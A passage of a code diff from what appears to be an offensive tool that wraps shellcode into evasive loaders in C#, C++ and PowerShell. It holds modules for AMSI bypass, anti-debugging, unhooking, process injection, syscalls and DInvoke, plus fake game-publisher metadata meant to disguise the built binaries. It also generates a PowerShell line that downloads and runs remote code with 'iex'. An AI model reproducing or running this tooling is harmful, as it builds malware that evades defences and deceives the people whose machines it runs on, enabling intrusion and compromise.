shellcode = hexlify(shellcode).decode()
shellcode = "{" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + "}"
if isinstance(shellcode, str): # and not re.match(r"^(\\x[A-Fa-f0-9]{2})+$", shellcode):
return Template.fix_size(shellcode)
elif self.language == Language.POWERSHELL:
if isinstance(shellcode, bytes):
shellcode = hexlify(shellcode).decode()
return "@(" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + ")"
else:
return f"\"{shellcode}\""
def clean(self, template):
new_content = []
regex = re.compile(r"^\s*//.*$")
for line in template.split("\n"):
if not regex.search(line):
new_content.append(line)
return "\n".join(new_content)
def generate(self, shellcode=None):
raw_template = base64.b64decode(self.template).decode()
for c in self.components:
# Avoids duplicating imports
if isinstance(c, UsingComponent):
if c.code.strip() in self.imports:
continue
c.placeholder_style(language=self.language)
raw_template = raw_template.replace(c.placeholder, c.code + f"\n{c.placeholder}")
if shellcode:
raw_template = raw_template.replace(self.shellcode_placeholder, self.craft(shellcode))
raw_template = raw_template.replace(self.call_placeholder, self.call_decode + f"\n{self.call_placeholder}")
raw_template = self.clean(raw_template)
return raw_template
@property
def content(self):
return base64.b64decode(self.template).decode()

View File

@ -0,0 +1,123 @@
import os
import sys
import re
import glob
from config.Config import Config
from converters.Donut import Donut
from converters.Loader import Loader
from converters.Pe2Shellcode import Pe2sh
from engine.Filter import Filter
from engine.Template import Template
from enums.Language import Language
from utils.console import Console
from utils.utils import get_project_root, isDotNet
class TemplateFactory:
@staticmethod
def from_path(path, language=Language.CSHARP, _filter: Filter = None):
allfiles = []
if os.path.isfile(path):
return Template(path=path, language=language)
elif os.path.isdir(path):
allfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
if _filter:
allfiles = [f for f in allfiles if _filter.match(f)]
if len(allfiles) > 1:
temp = TemplateFactory.choose_template(allfiles)
else:
temp = allfiles[0]
path = os.path.join(path, temp)
if not os.path.isfile(path=path):
Console.auto_line(" [-] Error with template")
sys.exit(1)
return Template(path=path, language=language)
@staticmethod
def from_converter(file=None,
converter=None,
language=Language.CSHARP,
dinvoke=False,
syscalls=False,
pinject=False,
_filter: Filter = None):
base_directory, template, template_file = None, None, None
artifact_type = None
if file:
filename, ext = os.path.splitext(file)
artifact_type = ext.replace(".", "")
if language == Language.CPP:
base_directory = Config().get("DIRECTORIES", "NATIVE")
elif language == Language.POWERSHELL:
base_directory = Config().get("DIRECTORIES", "POWERSHELL")
elif language == language.CSHARP:
base_directory = Config().get("DIRECTORIES", "DOTNET")
else:
Console.auto_line(f"[-] {language} Not supported")
sys.exit(1)
base_directory = os.path.join(get_project_root(), base_directory,
"process_injection" if pinject else "code_execution")
allfiles = [f for f in os.listdir(base_directory) if os.path.isfile(os.path.join(base_directory, f))]
# print(allfiles)
if not _filter:
_filter = Filter()
_filter.imode = "and"
if artifact_type in ["exe", "dll"] and not isDotNet(file) and (
isinstance(converter, Loader) or isinstance(converter, Pe2sh)):
_filter.exclude.append("assembly_load")
_filter.include.append("pe_load")
elif artifact_type in ["exe", "dll"] and not isDotNet(file) and isinstance(converter, Donut):
_filter.exclude.append("assembly_load")
_filter.exclude.append("pe_load")
else:
_filter.exclude.append("pe_load")
if dinvoke:
_filter.include.append("dinvoke")
else:
_filter.exclude.append("dinvoke")
if syscalls:
_filter.include.append("syscalls")
else:
_filter.exclude.append("syscalls")
allfiles = [f for f in allfiles if _filter.match(f)]
if len(allfiles) == 0:
Console.auto_line("[-] No template found with given criteria")
sys.exit(1)
elif len(allfiles) > 1:
temp = TemplateFactory.choose_template(allfiles)
else:
temp = allfiles[0]
path = os.path.join(base_directory, temp)
if not os.path.isfile(path=path):
Console.auto_line(
f"[#] Template file: {template_file} does not support "
f"{'process injection' if pinject else 'code execution'}"
)
sys.exit(1)
t = Template(path=path, language=language)
return t
@staticmethod
def choose_template(templates: list):
try:
Console.auto_line("[*] Multiple compatible templates identified, choose one:")
choice = -1
for n, t in enumerate(templates, start=0):
Console.auto_line(f" {n}: {t}")
while not 0 <= choice <= len(templates) - 1:
try:
choice = int(input(" $> "))
except ValueError:
continue
return templates[choice]
except KeyboardInterrupt:
Console.auto_line("[-] Aborting")
sys.exit(1)

View File

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class AntiDebugComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "ANTIDEBUG")
super().__init__(code, placeholder)

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class ArgsComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "ARGS")
super().__init__(code, placeholder)

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class BypassComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "BYPASS")
super().__init__(code, placeholder)

View File

@ -0,0 +1,17 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
from enums.Language import Language
class CallComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDER", "CALL")
super().__init__(code, placeholder)
def as_function_call(self, content, language=Language.CSHARP):
if language == Language.CSHARP:
return f"{self.code}({content})"
elif language == Language.CPP:
return f"{content}\n{self.code}"
elif language == Language.POWERSHELL:
return f"({self.code} {content})"

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class CodeComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "CODE")
super().__init__(code, placeholder)

View File

@ -0,0 +1,34 @@
import re
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
from enums.Language import Language
class DefineComponent(TemplateModuleComponent):
def __init__(self, code=None, language=Language.CPP):
placeholder = Config().get("PLACEHOLDERS", "DEFINE")
super().__init__(code, placeholder)
self.__code = code
self.language = language
self.prefix = ""
self.suffix = ""
@property
def code(self):
if self.language == Language.CSHARP:
return f""
elif self.language == Language.CPP:
if not self.__code.find("#define") > -1:
msg = self.prefix + "\n".join([f"#define {c.strip()}" for c in self.__code.split("\n") if len(c.strip()) > 0]) + self.suffix
else:
msg = f"{self.prefix}{self.__code}{self.suffix}"
return msg
elif self.language == Language.POWERSHELL:
return f""
else:
return self.__code
def wrap_if_ndef(self):
self.prefix = "#ifndef\n"
self.suffix = "#endif\n"

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class DelayComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "DELAY")
super().__init__(code, placeholder)

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class FindProcessComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "FIND_PROCESS")
super().__init__(code, placeholder)

View File

@ -0,0 +1,36 @@
from abc import ABC
from enums.Language import Language
class TemplateModuleComponent(ABC):
def __init__(self, code=None, placeholder=None, trail=False):
self.placeholder = placeholder
self.__code = code
self.trail = trail
@property
def code(self):
if not self.trail:
return self.__code
else:
return f"{self.__code};\n{self.placeholder}"
def as_function_call(self, content, language=None):
pass
def use_ps_placeholder(self):
self.placeholder = self.placeholder.replace("/", "")
def use_c_placeholder(self):
if self.placeholder and self.placeholder[:2] != "//":
self.placeholder = f"//{self.placeholder}"
def placeholder_style(self, language=None):
if not language:
return
if language == Language.POWERSHELL:
self.use_ps_placeholder()
else:
self.use_c_placeholder()

View File

@ -0,0 +1,8 @@
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
class UnhookComponent(TemplateModuleComponent):
def __init__(self, code=None):
placeholder = Config().get("PLACEHOLDERS", "UNHOOK")
super().__init__(code, placeholder)

View File

@ -0,0 +1,27 @@
import re
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
from enums.Language import Language
class UsingComponent(TemplateModuleComponent):
def __init__(self, code=None, language=Language.CSHARP):
placeholder = Config().get("PLACEHOLDERS", "USING")
super().__init__(code, placeholder)
self.__code = code
self.language = language
@property
def code(self):
if self.language == Language.CSHARP:
return f"using {self.__code};"
elif self.language == Language.CPP:
return f"#include {self.__code}"
elif self.language == Language.POWERSHELL:
if re.search(r"^(http|ftp)", self.__code):
return f'iex (([System.Net.WebClient]::new()).DownloadString("{self.__code}"));'
else:
return f'iex ([System.IO.File]::ReadAllBytes("{self.__code}"));'
else:
return self.__code

View File

View File

@ -0,0 +1,27 @@
from config.Config import Config
from engine.modules.TemplateModule import TemplateModule
from enums.Architectures import Arch
class AdditionalSourceModule(TemplateModule):
def generate(self, **kwargs):
content = kwargs["kwargs"]["content"]
if content:
with open(self.path, "w") as source:
source.write(content)
def build(self, **kwargs):
pass
def __init__(self, path, content=None, name=None, arch=Arch.x64):
libraries = None
components = None
self.path = path
if not name:
name = "AdditionalSourceModule"
super().__init__(name=name, libraries=libraries, components=components, arch=arch)
kwargs = {
"content": content
}
self.generate(kwargs=kwargs)

View File

@ -0,0 +1,115 @@
import os
import sys
import tempfile
import traceback
from compilers.ClCompiler import ClCompiler
from compilers.CscCompiler import CscCompiler
from config.Config import Config
from engine.Filter import Filter
from engine.TemplateFactory import TemplateFactory
from engine.component.BypassComponent import BypassComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.DinvokeModule import DinvokeModule
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root, static_random_ascii_string
class AmsiModule(TemplateModule):
def __init__(self, **kwargs):
dinvoke = kwargs["kwargs"]["dinvoke"]
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
libraries = None
components = None
bypass_mode = Config().get('MISC', 'bypass_mode')
if language == Language.POWERSHELL:
path = str(Config().get_path("DIRECTORIES", "bypass"))
allfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
chosen = TemplateFactory.choose_template(allfiles)
code = open(chosen, "r").read()
components = [
BypassComponent(code=code),
]
elif language == Language.CSHARP:
import_name = static_random_ascii_string(min_size=3, max_size=10)
class_name = static_random_ascii_string(min_size=3, max_size=10)
function_name = static_random_ascii_string(min_size=3, max_size=10)
dll = tempfile.NamedTemporaryFile(
delete=True,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".dll"
).name
kwargs = {
"language": language,
"dinvoke": dinvoke,
"import": import_name,
"class": class_name,
"function": function_name,
"dll": dll
}
try:
kwargs["template"] = self.generate(kwargs=kwargs)
self.build(kwargs=kwargs)
except:
traceback.print_exc()
print(f"[-] Exception building {self.__class__.__name__}")
sys.exit(1)
components = [
BypassComponent(f"{import_name}.{class_name}.{function_name}(\"{bypass_mode}\");"),
UsingComponent(f"{import_name}", language=language)
]
libraries = [f"{dll}"]
else:
raise ModuleNotCompatibleException()
super().__init__(name="AmsiBypass", libraries=libraries, components=components, arch=arch)
def generate(self, **kwargs):
_filter = Filter(exclude=["dinvoke", "powershell"])
if kwargs["kwargs"]["dinvoke"]:
_filter = Filter(include=["dinvoke"], exclude=["powershell"])
template = TemplateFactory.from_path(
path=str(Config().get_path("DIRECTORIES", "bypass").absolute()),
_filter=_filter
)
if kwargs["kwargs"]["dinvoke"]:
template.add_module(TemplateModule.from_name("dinvoke", kwargs=kwargs["kwargs"]))
for k, v in zip(
["import", "class", "function"],
["####NAMESPACE####", "####CLASS####", "####FUNCTION####"]
):
template.otf_replace(
code=kwargs["kwargs"][k],
placeholder=v
)
template.process_modules()
return template
def build(self, **kwargs):
bypass_file = tempfile.NamedTemporaryFile(
delete=False,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".cs"
).name
template = kwargs["kwargs"]["template"]
with open(bypass_file, "w") as out:
out.write(template.content)
compiler = CscCompiler()
compiler.default_dll_args(outfile=kwargs["kwargs"]["dll"])
compiler.set_libraries(template.libraries)
compiler.compile([bypass_file])

View File

@ -0,0 +1,155 @@
import os
import sys
import tempfile
import traceback
from compilers.ClCompiler import ClCompiler
from compilers.CscCompiler import CscCompiler
from compilers.LibCompiler import LibCompiler
from config.Config import Config
from engine.Filter import Filter
from engine.TemplateFactory import TemplateFactory
from engine.component.AntiDebugComponent import AntiDebugComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DefineComponent import DefineComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.DinvokeModule import DinvokeModule
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root, static_random_ascii_string
class AntiDebugModule(TemplateModule):
def __init__(self, **kwargs):
libraries = []
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
import_name = static_random_ascii_string(min_size=3, max_size=10)
class_name = static_random_ascii_string(min_size=3, max_size=10)
function_name = static_random_ascii_string(min_size=3, max_size=10)
kwargs = {
"dinvoke": False,
"import": import_name,
"class": class_name,
"function": function_name,
}
if language == Language.CSHARP:
library = tempfile.NamedTemporaryFile(
delete=True,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".dll"
).name
components = [
AntiDebugComponent(f"{import_name}.{class_name}.{function_name}();"),
UsingComponent(import_name, language=language)
]
elif language == Language.CPP:
libraries.append("dbghelp.lib")
library = tempfile.NamedTemporaryFile(
delete=True,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".lib"
).name
components = [
CodeComponent(rf"""
extern bool {function_name}(void);
"""),
AntiDebugComponent(rf"""
if ({function_name}()){{
exit(-1);
}}
""")
]
else:
raise ModuleNotCompatibleException()
try:
kwargs["dll"] = library
kwargs["language"] = language
kwargs["template"] = self.generate(kwargs=kwargs)
self.build(kwargs=kwargs)
except:
traceback.print_exc()
print(f"[-] Exception building {self.__class__.__name__}")
sys.exit(1)
libraries.append(library)
super().__init__(name="AntiDebug", libraries=libraries, components=components, arch=arch)
def generate(self, **kwargs):
if "language" not in kwargs["kwargs"].keys():
raise NotImplementedError(f"Module {self.__class__.__name__} needs a language to build")
language = kwargs["kwargs"]["language"]
if language == language.CSHARP:
_filter = Filter(exclude=["dinvoke"])
if kwargs["kwargs"]["dinvoke"]:
_filter = Filter(include=["dinvoke"])
template = TemplateFactory.from_path(
path=os.path.join(
get_project_root(),
Config().get("DIRECTORIES", "dotnet"),
Config().get("DIRECTORIES", "antidebug")),
_filter=_filter
)
else:
template = TemplateFactory.from_path(
path=os.path.join(
get_project_root(),
Config().get("DIRECTORIES", "native"),
Config().get("DIRECTORIES", "antidebug"))
)
for k, v in zip(
["import", "class", "function"],
["####NAMESPACE####", "####CLASS####", "####FUNCTION####"]
):
template.otf_replace(
code=kwargs["kwargs"][k],
placeholder=v
)
if kwargs["kwargs"]["dinvoke"] and language == language.CSHARP:
template.add_module(DinvokeModule(language=Language.CSHARP))
template.process_modules()
return template
def build(self, **kwargs):
if "language" not in kwargs["kwargs"].keys():
raise NotImplementedError(f"Module {self.__class__.__name__} needs a language to build")
language = kwargs["kwargs"]["language"]
nodebug_file = tempfile.NamedTemporaryFile(
delete=False,
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
).name
if language == Language.CSHARP:
nodebug_file += ".cs"
else:
nodebug_file += ".cpp"
template = kwargs["kwargs"]["template"]
with open(nodebug_file, "w") as out:
out.write(template.content)
if language == Language.CSHARP:
compiler = CscCompiler()
compiler.default_dll_args(outfile=kwargs["kwargs"]["dll"])
compiler.set_libraries(template.libraries)
compiler.compile([nodebug_file])
else:
object_file = os.path.splitext(kwargs["kwargs"]["dll"])[0] + ".obj"
compiler = ClCompiler()
compiler.default_obj_args(outfile=object_file)
compiler.set_libraries(["dbghelp.lib"])
compiler.compile([nodebug_file])
compiler = LibCompiler()
compiler.default_args(outfile=kwargs["kwargs"]["dll"])
compiler.compile([object_file])

View File

@ -0,0 +1,54 @@
import os
import uuid
from engine.component.BypassComponent import BypassComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class AssemblyInfoModule(AdditionalSourceModule):
def __init__(self,
path,
title,
description="",
company="",
product="",
copyright="",
trademark="",
assembly_version="1.0.0.0",
file_version="1.0.0.0",
guid=None,
neutral_language="",
com_visible=False,
language=Language.CSHARP,
arch=Arch.x64):
content = ""
if not guid:
guid = str(uuid.uuid4())
if language == Language.CSHARP:
content = rf"""
using System.Resources;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("{title}")]
[assembly: AssemblyDescription("{description}")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("{company}")]
[assembly: AssemblyProduct("{product}")]
[assembly: AssemblyCopyright("{copyright}")]
[assembly: AssemblyTrademark("{trademark}")]
[assembly: AssemblyCulture("")]
[assembly: NeutralResourcesLanguage("{neutral_language}")]
[assembly: ComVisible({'true' if com_visible else 'false'})]
[assembly: Guid("{guid}")]
[assembly: AssemblyVersion("{assembly_version}")]
[assembly: AssemblyFileVersion("{file_version}")]
"""
else:
raise ModuleNotCompatibleException()
super().__init__(name="AssemblyInfoModule", path=path, content=content, arch=arch)

View File

@ -0,0 +1,44 @@
import os
import sys
from engine.component.BypassComponent import BypassComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DelayComponent import DelayComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Language import Language
from utils.console import Console
from utils.utils import get_project_root
class DelayModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
language = kwargs["kwargs"]["language"]
seconds = kwargs["kwargs"]["seconds"]
if not seconds or seconds == 0:
Console.auto_line(f"[-] {self.__class__.__name__} requires --dinvoke!")
sys.exit(1)
if language == Language.CSHARP:
components = [
DelayComponent(code=f"System.Threading.Thread.Sleep({seconds}*1000);")
]
elif language == Language.CPP:
components = [
DelayComponent(code=f"Sleep({seconds}*1000);")
]
elif language == Language.POWERSHELL:
components = [
DelayComponent(code=f"sleep {seconds}")
]
else:
raise ModuleNotCompatibleException()
libraries = None
super().__init__(name="Delay", libraries=libraries, components=components)

View File

@ -0,0 +1,36 @@
import os
import sys
from config.Config import Config
from engine.component.BypassComponent import BypassComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Language import Language
from utils.utils import get_project_root
class DinvokeModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
self.filter_String = "dinvoke"
if language == Language.CSHARP:
components = [
UsingComponent("DynamicInvoke = DInvoke.DynamicInvoke", language=language)
]
libraries = [str(Config().get_path("DIRECTORIES", "libs").joinpath("DInvoke.dll"))]
if Config().get("MISC", "release") == "private":
libraries = [str(Config().get_path("DIRECTORIES", "libs").parent.joinpath("private", arch.value, "DInvoke.dll"))]
elif language == Language.CPP:
components = []
libraries = None
else:
raise ModuleNotCompatibleException()
super().__init__(name="Dinvoke", libraries=libraries, components=components)

View File

@ -0,0 +1,44 @@
import os
import tempfile
import uuid
from config.Config import Config
from engine.component.BypassComponent import BypassComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class DtjsModule(AssemblyInfoModule):
def __init__(self):
content = ""
path = tempfile.NamedTemporaryFile(
delete=False,
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
).name
trademark = ""
company = "Namco"
title = "StreetFighter"
description = "StreetFighter Alpha 2022 Game Preview"
product = "StreetFighter Alpha 2022 Game Preview"
copyright = "CapCom"
super().__init__(
path=path,
title=title,
description=description,
company=company,
product=product,
copyright=copyright,
trademark=trademark,
assembly_version="1.0.0.0",
file_version="1.0.0.0",
guid=None,
neutral_language="",
com_visible=False,
language=Language.CSHARP,
arch=Arch.x64
)

View File

@ -0,0 +1,16 @@
from engine.component.CallComponent import CallComponent
from engine.modules.TemplateModule import TemplateModule
from enums.Architectures import Arch
class EncoderModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, name=None, libraries=None, components=None, call_component: CallComponent = None, arch=Arch.x64):
super().__init__(name=name, libraries=libraries, components=components, arch=arch)
self.call_component: CallComponent = call_component
self.filter_string = ""

View File

@ -0,0 +1,106 @@
import os
from engine.component.AntiDebugComponent import AntiDebugComponent
from engine.component.ArgsComponent import ArgsComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DefineComponent import DefineComponent
from engine.component.UnookComponent import UnhookComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class EvalArgsModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
libraries = None
components = None
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
if language == Language.CPP:
components = [
UsingComponent(code="<string.h>", language=language),
UsingComponent(code="<stdlib.h>", language=language),
UsingComponent(code="<stdio.h>", language=language),
UsingComponent(code="<processenv.h>", language=language),
CodeComponent(code=r"""
size_t size_strar(char ** str_ar);
char** strsplit(char * str, char delim);
void free_strar(char ** str_ar);
size_t size_strar(char ** str_ar) {
size_t count = 0;
for (int i = 0 ; str_ar[i][0] != '\0' ; i++) {
count++;
}
return count;
}
char** strsplit(char * str, char delim) {
char** strres;
size_t count = 0;
for (int i = 0 ; i < strlen(str) ; i++) {
if (str[i] == delim || str[i] == '\n' || str[i] == '\0')
count++;
}
strres = (char**)malloc(++count * sizeof *strres);
char buffer[100]; int actual = 0, place = 0;
for (int i = 0 ; i < strlen(str) ; i++) {
if (str[i] != delim && str[i] != '\n' && str[i] != '\0') {
buffer[actual++] = str[i];
}
else {
buffer[actual] = '\0';
actual = 0;
strres[place] = (char*)malloc((strlen(buffer) + 3) * sizeof *strres[place]);
strres[place] = strcpy(strres[place], buffer);
place++;
}
}
strres[place] = (char*)malloc(sizeof *strres[place]);
strres[place][0] = '\0';
return strres;
}
void free_strar(char ** str_ar) {
for (int i = 0 ; i < size_strar(str_ar) ; i++) {
free(str_ar[i]);
}
free(str_ar);
}
char** get_argv()
{
char* cmdline = (char*)GetCommandLineA();
printf("CMD LINE: %s\n", cmdline);
char** args = strsplit(cmdline, ' ');
return args;
}
"""),
ArgsComponent(code="args = get_argv();")
]
elif language == Language.CSHARP:
ArgsComponent(code=r"""
if (args == null)
{
args = new Object[] { Environment.GetCommandLineArgs() };
}else{
args = new Object[] { args };
}
""")
else:
raise ModuleNotCompatibleException()
super().__init__(name="EvalArgs", libraries=libraries, components=components, arch=arch)
self.filter_string = ""

View File

@ -0,0 +1,111 @@
import os
import sys
from engine.component.CodeComponent import CodeComponent
from engine.component.FindProcessComponent import FindProcessComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Language import Language
from engine.component.BypassComponent import BypassComponent
from engine.component.DelayComponent import DelayComponent
from utils.console import Console
from utils.utils import get_project_root, static_random_ascii_string
class FindProcessModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
language = kwargs["kwargs"]["language"]
process = kwargs["kwargs"]["process"]
pinject = kwargs["kwargs"]["pinject"]
dinvoke = kwargs["kwargs"]["dinvoke"]
syscalls = kwargs["kwargs"]["syscalls"]
if dinvoke or syscalls:
Console.warn_line("[WARNING] Find process still doesn't support syscalls and manual mapping")
if not pinject:
Console.auto_line(f"[-] {self.__class__.__name__} requires (-P|--pinject)!")
sys.exit(1)
if not process:
Console.auto_line(f"[-] {self.__class__.__name__} requires (-P0|--process)!")
sys.exit(1)
classname = static_random_ascii_string(min_size=3, max_size=10)
function = static_random_ascii_string(min_size=3, max_size=10)
if language == Language.CSHARP:
components = [
UsingComponent(code=f"System.Diagnostics", language=language),
CodeComponent(code=fr"""
public static class {classname}
{{
public static int {function}(string processName) {{
int pid = Process.GetCurrentProcess().Id;
Process[] processes = Process.GetProcessesByName(processName);
if (processes.Length > 0) {{
pid = processes[0].Id;
}}
return pid;
}}
}}
"""),
FindProcessComponent(code=f'pid = {classname}.{function}("{process}");')
]
elif language == Language.CPP:
components = [
UsingComponent(code="<windows.h>", language=language),
UsingComponent(code="<stdio.h>", language=language),
UsingComponent(code="<stdlib.h>", language=language),
UsingComponent(code="<Tlhelp32.h>", language=language),
UsingComponent(code="<string.h>", language=language),
CodeComponent(code=fr"""
DWORD {function}(const wchar_t* processName);
DWORD {function}(const wchar_t* processName) {{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processesSnapshot, &processInfo);
if (_wcsicmp(processName, processInfo.szExeFile) == 0)
{{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}}
while (Process32Next(processesSnapshot, &processInfo))
{{
if (_wcsicmp(processName, processInfo.szExeFile) == 0)
{{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}}
}}
CloseHandle(processesSnapshot);
return 0;
}}
"""),
FindProcessComponent(code=fr"""
const wchar_t* proc = L"{process}.exe";
pid = {function}(proc);
""")
]
elif language == Language.POWERSHELL:
components = [
FindProcessComponent(code=fr"""
$list = (Get-Process {process})
if ($list.Length -gt 0){{
$targetpid = $list[0].Id
}}
""")
]
else:
raise ModuleNotCompatibleException()
libraries = None
super().__init__(name="FindProcess", libraries=libraries, components=components)

View File

@ -0,0 +1,12 @@
from engine.modules.TemplateModule import TemplateModule
class PowerShellModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, libraries, components):
super().__init__(name="PowerShellModule", libraries=libraries, components=components)

View File

@ -0,0 +1,102 @@
import os
from engine.component.AntiDebugComponent import AntiDebugComponent
from engine.component.ArgsComponent import ArgsComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DefineComponent import DefineComponent
from engine.component.UnookComponent import UnhookComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class StaticArgsModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
args = kwargs["kwargs"]["args"]
if args is None:
args = []
libraries = None
components = None
if language == Language.CPP:
components = [
UsingComponent(code="<string.h>", language=language),
UsingComponent(code="<stdlib.h>", language=language),
UsingComponent(code="<stdio.h>", language=language),
CodeComponent(code=r"""
size_t size_strar(char ** str_ar);
char** strsplit(char * str, char delim);
void free_strar(char ** str_ar);
size_t size_strar(char ** str_ar) {
size_t count = 0;
for (int i = 0 ; str_ar[i][0] != '\0' ; i++) {
count++;
}
return count;
}
char** strsplit(char * str, char delim) {
char** strres;
size_t count = 0;
for (int i = 0 ; i < strlen(str) ; i++) {
if (str[i] == delim || str[i] == '\n' || str[i] == '\0')
count++;
}
strres = (char**)malloc(++count * sizeof *strres);
char buffer[100]; int actual = 0, place = 0;
for (int i = 0 ; i < strlen(str) ; i++) {
if (str[i] != delim && str[i] != '\n' && str[i] != '\0') {
buffer[actual++] = str[i];
}
else {
buffer[actual] = '\0';
actual = 0;
strres[place] = (char*)malloc((strlen(buffer) + 3) * sizeof *strres[place]);
strres[place] = strcpy(strres[place], buffer);
place++;
}
}
strres[place] = (char*)malloc(sizeof *strres[place]);
strres[place][0] = '\0';
return strres;
}
void free_strar(char ** str_ar) {
for (int i = 0 ; i < size_strar(str_ar) ; i++) {
free(str_ar[i]);
}
free(str_ar);
}
char** get_argv()
{
char* cmdline = "####CMDLINE####";
char** args = strsplit(cmdline, '£');
return args;
}
""".replace("####CMDLINE####", "£".join(args))),
ArgsComponent(code="char** args = get_argv();")
]
elif language == Language.CSHARP:
ArgsComponent(code=r"""
Object[] args = new Object[] {
new string[] { "####CMDLINE####" }
};
""".replace("####CMDLINE####", '","'.join(args)))
else:
raise ModuleNotCompatibleException()
super().__init__(name="StaticArgs", libraries=libraries, components=components, arch=arch)

View File

@ -0,0 +1,102 @@
import os
import shutil
import sys
import tempfile
from compilers.ClCompiler import ClCompiler
from compilers.LibCompiler import LibCompiler
from compilers.MasmCompiler import MasmCompiler
from config.Config import Config
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Language import Language
from utils.console import Console
class SyscallsModule(TemplateModule):
def __init__(self, **kwargs):
dinvoke = kwargs["kwargs"]["dinvoke"]
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
self.arch = arch.value
self.filter_string = "syscalls"
libraries = []
if language == Language.CPP:
library = tempfile.NamedTemporaryFile(
delete=True,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".lib"
